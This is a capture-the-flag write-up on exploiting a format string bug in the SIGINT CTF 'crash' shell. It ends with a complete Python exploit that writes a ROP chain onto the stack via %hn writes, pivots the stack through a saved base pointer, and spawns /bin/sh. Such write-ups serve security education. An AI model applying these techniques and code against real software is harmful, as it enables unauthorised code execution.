CraSH



July 5-7 Brooklynt Overflow participated in SIGINT CTF hosted by the good folks over at CCCAC in Germany. Despite the fact that Brooklynt Overflow is not always the most effective team during the summer owing to inability to gather in the same place and the fact this competition was over a holiday weekend (Go team USA!) we didn’t fare terribly, finishing #21 on the scoreboard. This is a write up of one of the pwning challenges, crash.

A crash won't help you here. Escape this feature-rich shell by
whacking it with a reliable exploit.

The program they give you is called crash. Crash is a shell that exposes some very basic functionality.

demo
Commands: help, dec, cat, echo and quit

The shell doesn’t appear to support the creation or editing of files. Pipes are left unimplemented and other programs, like text editors, cannot be executed. None the less I decided to go with my gut and investigate the cat command. One of the first few files I tried to cat was the shell program itself. The resulting crash appeared to be not immediately exploitable but I figured I was on the right track and created my own binary file to read.

python -c "print ''.join(map(chr,range(0x100))*0x1000)">binary

cating this binary file did not result in a crash so tried catting some other files. I found when I cated executable files like /bin/bash and libc.so the program would crash and when I would cat random binary files of my own making the program would not crash. Eventually the root cause of the crashes became apparent. An uncontrolled format string vulnerability. I tested this hypothesis with a file containing a format string.

python -c "print '%08x.'*0x80" >fmtstr

And when I catted fmtstr:

memory
Memory disclosure from the stack
This confirmed my suspicion of an uncontrolled format string vulnerability. However this vulnerability doesn't do us very much good if it is only in the `cat` command because I don't have the facility to place files on the remote server. Lets check to see if it is in `echo`!
echo vuln
Raw memory being printed from the stack

It appears that the echo command also has the same vulnerability. This is much better for us because now we don’t need to finagle a file onto a server through this shell program.

Format strings as I’m sure the reader is aware are great bugs for not only reading memory but also for writing memory. What I would like to do now change this uncontrolled format string vulnerability from an info leak from the stack into a write anything anywhere exploitation primitive. In order to do that I need to be able to place a value on the stack to be used as a pointer. I discovered this was possible through the dec command.

arb_ptr
Accessing a chosen value from the stack

If we issue the dec command before the echo command the argument to dec appears on the stack. This is perfect. we can use this value as a pointer to read arbitrary memory with the %s format specifier or we can use the %n specifier to write to that pointer instead. We now have the ability to read and write memory from any memory region that is marked R/W respectively.

At this point, I thought it made sense to go about acquiring control of the instruction pointer. There is a table of function pointers inside the program that correspond to the commands the shell exposes.

fnptrs
Command strings and function pointers

The program is compiled without PIE and statically such that it doesn’t load anything dynamically. That means we can rely on these pointers and all of the executable code always being at the same address each time the program is run.  Not that it really matters, we could use our read primitives to derandomize the memory space if this wasn’t the case.

I chose to overwrite the quit pointer, I figured we would have no occasion to call it unless we were giving up. It would be pretty sweet if instead of quitting we got a real shell instead.

Crafting commands that write arbitrary values to arbitrary places is not terribly difficult. The %n specifier will dereference a pointer and write the number of bytes that have been printed so far. Writing 4 bytes at once is ill advised because you may end up trying to print 4gb to the screen. Two byte writes are reasonable, the maximum number of things to print is 65535 and in practice it’s often much less. The following combination of commands will crash the shell with EIP=0x41414141

dec 81380a4
echo %16705x%25$hn
dec 81380a6
echo %16705x%25$hn
quit

Very simple, we have overwritten the quit function pointer and then invoked it.

Now, many of these commands take an argument and that argument is passed on the stack at runtime. If we can control the function pointer and the argument we might be able to call a function like system with an argument like /bin/sh. Because the program is statically compiled and stripped finding system is no easy task. We know that system eventually calls execve and usually references the string /bin/sh. When running strings on the program I did not see the string /bin/sh so I went about trying to identify a call to execve. execve is a systemcall. In a statically compiled 32bit application on a modernish Ubuntu operating system will call execve by putting 11(0xb) in EAX the arguments in EBX, ECX and EDX and then execute an int 0x80 instruction.

The int 0x80 instruction in most cases was refactored and became its own function.

callgate
int 0x80 and ret

Cross-referencing this function you can see most of the system calls being made. None of them place 11 in the EAX register. There are also a handful of inlined int 0x80 instructions but they do not result in execve being called either. This means we need to start thinking about alternative exploitation methods, like ROP.

There is a tool I discovered once a long time ago for identifying ROP gadgets. It’s not my preferred tool because it will only look one instruction back from a RET (except for pops) and won’t consider sequences of instructions ending in jumps or calls but it will attempt to automatically generate a shell spawning ROP chain for you. I hoped this binary would be suitably large for its engine to work with. Sure enough it was able to stitch together a 33 gadget chain resulting in a shell being spawned. Now all that needs to be done is getting ESP pointing at it.

I don’t like very many gadget searching tools enough to pimp them out on the ISIS blog but I the ones I tried did not yield very many gadgets that looked promising. There was a pop ESP I tried to use briefly, it would have been perfect if there was a pop before it but alas, since when we overwrite the quit function pointer when we get control of execution there is a return address on the stack. Setting the stack pointer to the .text segment generally leads to disastrous results. Overwriting function pointers doesn’t seem to be the way to go, time to get a little more creative.

Did you notice when we were leaking values from the stack that we also leaked some stack addresses?

target_leak
Stack address disclosure

Many but not all of these stack addresses are actually saved base pointers. Saved base pointers on the stacks of well formed c/c++ programs are interesting in that by a happy coincidence point to other saved base pointers. That means we can modify a saved base pointer on the stack by using another saved base pointer as a pointer to it. To understand why this is beneficial remember what the tail of a function looks like.

[code] mov esp,ebp pop ebp ret [/code]

Now when the the return instruction executes we will have control of the base pointer, not very exciting right? Consider what happens if we return near the end of another function. When the caller returns the basepointer that we control gets moved into the stack pointer, a pop occurs and then a ret. If we can precisely control the stack pointer and account for the pop before the return we can reliably execute a ROP chain.

Proof
Uncontrolled control flow hijack

Here we have written the lower two bytes of a saved base pointer with zero’s using the %6$hn format string. When we issue the quit command the programs stack is unwound sufficiently to let the clobbered base pointer transfer to the stack pointer. The stack pointer as you can see is resting at 0xffff0008. The low byte is 0x08 because the program has poped twice, once into EBP with the value zero and once into EIP with the value zero.

Controlling execution is now very easy. We can leak the address of the stack and calculate an address to write our ROP chain. We can then write it two bytes at a time using the uncontrolled format string vulnerability. Then we can clobber the lower two bytes of a saved base pointer. Finally we can trigger the execution of our ROP payload by issuing the quit command. Keep in mind that we are no longer overwriting quit’s function pointer. We are allowing the stack to unwind as it normally would as the program prepares to exit.

#Evan Jensen (wont)
#07072013

from isis import *
from struct import pack
from time import sleep
chal=('localhost',2323)
s=getSocket(chal)

p=''
p += pack("<I", 0x080a71ba) # pop edx ; ret
p += pack("<I", 0x08138080) # @ .data
p += pack("<I", 0x0806d113) # pop eax ; ret
p += "/bin" # /bin
p += pack("<I", 0x080d762d) # mov DWORD PTR [edx],eax ; ret
p += pack("<I", 0x080a71ba) # pop edx ; ret
p += pack("<I", 0x08138084) # @ .data + 4
p += pack("<I", 0x0806d113) # pop eax ; ret
p += "//sh" # //sh
p += pack("<I", 0x080d762d) # mov DWORD PTR [edx],eax ; ret
p += pack("<I", 0x080a71ba) # pop edx ; ret
p += pack("<I", 0x08138088) # @ .data + 8
p += pack("<I", 0x08048c93) # xor eax,eax ; ret
p += pack("<I", 0x080d762d) # mov DWORD PTR [edx],eax ; ret
p += pack("<I", 0x08048211) # pop ebx ; ret
p += pack("<I", 0x08138080) # @ .data
p += pack("<I", 0x08126ad1) # pop ecx ; ret
p += pack("<I", 0x08138088) # @ .data + 8
p += pack("<I", 0x080a71ba) # pop edx ; ret
p += pack("<I", 0x08138088) # @ .data + 8
p += pack("<I", 0x08048c93) # xor eax,eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0806cead) # int 0x80

halfs=[unpack("<H",i)[0] for i in chunk(p,2)]

def printfWrite(halfs,starting):
	ret=''
	starting=hex(starting)[2:].replace('L','')
	for i in halfs:
		ret+='dec %s\n'% starting
		ret+='echo %'+str(i).zfill(5)+'x%25$hn\n'
		starting=hex(int(starting,16)+2)[2:].replace('L','')
	return ret

def e():
	junk=s.recv(0x1000)
	s.send('echo %6$x\n')
	sleep(.2)
	addr=s.recv(0x1000).splitlines()[1]
	addr=int(addr,16)&0xffff0000 #begining of page
	print "[*]write to %s" % hex(addr+4)
	corruption=printfWrite(halfs,addr+4).splitlines()
	for i in corruption:
		s.send(i+'\n')
		if 'dec' in i:
			print '[*]writing %s' % i.split(' ')[1]
		time.sleep(.2)
		junk=s.recv(0x100000)
	sleep(1)
	#stomp on old ebp. Just the lower two bytes
	#This will let ESP eventually take the address of our rop chain
	s.send("echo %6$hn\n")
	print "[*]rop"
	s.send('quit\n') #unwind that stack you dirty tramp
	print "[*]clean"
	sleep(1)
	junk=s.recv(0x1000)
	print "[*]shell"
	shell(s)

e()

Just a note as you read this code, the getSocket() and shell() functions are located inside of the ISIS library which can be found here. You will also notice that this exploit connects to localhost on port 2323 but the program does not do anything with sockets. That is because I’m running the program with socat, for details look in the ISIS CTF-Solutions repository on github. Feel free to pull the repo, run handler.sh and then the exploit!